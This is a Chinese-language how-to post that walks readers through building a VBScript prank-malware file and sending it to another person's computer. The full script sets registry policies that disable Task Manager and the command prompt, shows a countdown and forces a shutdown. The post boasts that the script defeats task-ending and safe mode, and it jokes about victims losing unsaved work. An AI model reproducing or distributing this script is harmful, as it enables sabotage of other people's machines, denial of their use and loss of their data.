电脑一台
首先我们要确定对方的那台电脑要能够连接网络并能与你通信
点击——开始——运行
在这里输入Notepad命令来打开记事本命令,就按确定按钮。如图所示:
其实也可以直接新建一个不用打命令也可以的。你就在桌面右击——新建——文本文档如图所示:
就在记事本上复制线面我给你的代码。
set s=createobject('wscript.shell') set bag=getobject('winmgmts:\\.\root\cimv2') set pipe=bag.execquery('select * from win32_process where name='wscript.exe'') For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr',0,'REG_DWORD' s.regwrite'HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD',0,'REG_DWORD' id.terminate() else s.regwrite'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr',1,'REG_DWORD' s.regwrite'HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD',1,'REG_DWORD' for i=1 to 60 s.popup'系统将在'& 60-i &'秒后关机...',1,'系统提示',4096+48 next Set colOS = GetObject('winmgmts:{(Shutdown)}').ExecQuery('Select * FROM Win32_OperatingSystem') For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next
先把上面的文件保存好先,下面是最重要的一定要把文件的后缀名改成“VBS”文件。原先的文件的“TXT”文件格式的现在改成“VBS”格式就OK了
这个代码的威力是::开机就强制自动关机 2:cmd命令打不开 3:结束任务不管用 4:F8安全模式也不管用 呵呵!听起来是不是有点恐怖啊!!没有什么事情就不要去搞人家啊
在发问价之前一定要在人家是空闲的时候发能发啊!不要人家在 工作的时候发就不好了人家的数据都没有保存好被你这个东西发出去人家肯定杀了你不可啊 呵呵呵